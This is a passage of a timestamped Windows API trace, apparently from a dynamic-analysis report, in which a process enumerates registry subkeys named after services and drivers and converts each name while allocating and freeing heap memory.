cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.483] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1970, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.483] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.483] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0228.483] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.484] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.484] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.484] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.484] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0228.484] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.485] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.485] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.485] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.485] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0228.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.486] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.486] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.486] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0228.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.487] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0228.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0228.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.487] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0228.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0228.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.487] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0228.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0228.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.487] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.488] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.488] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.488] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.489] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.489] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0228.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.489] WideCharToMultiByte (in: 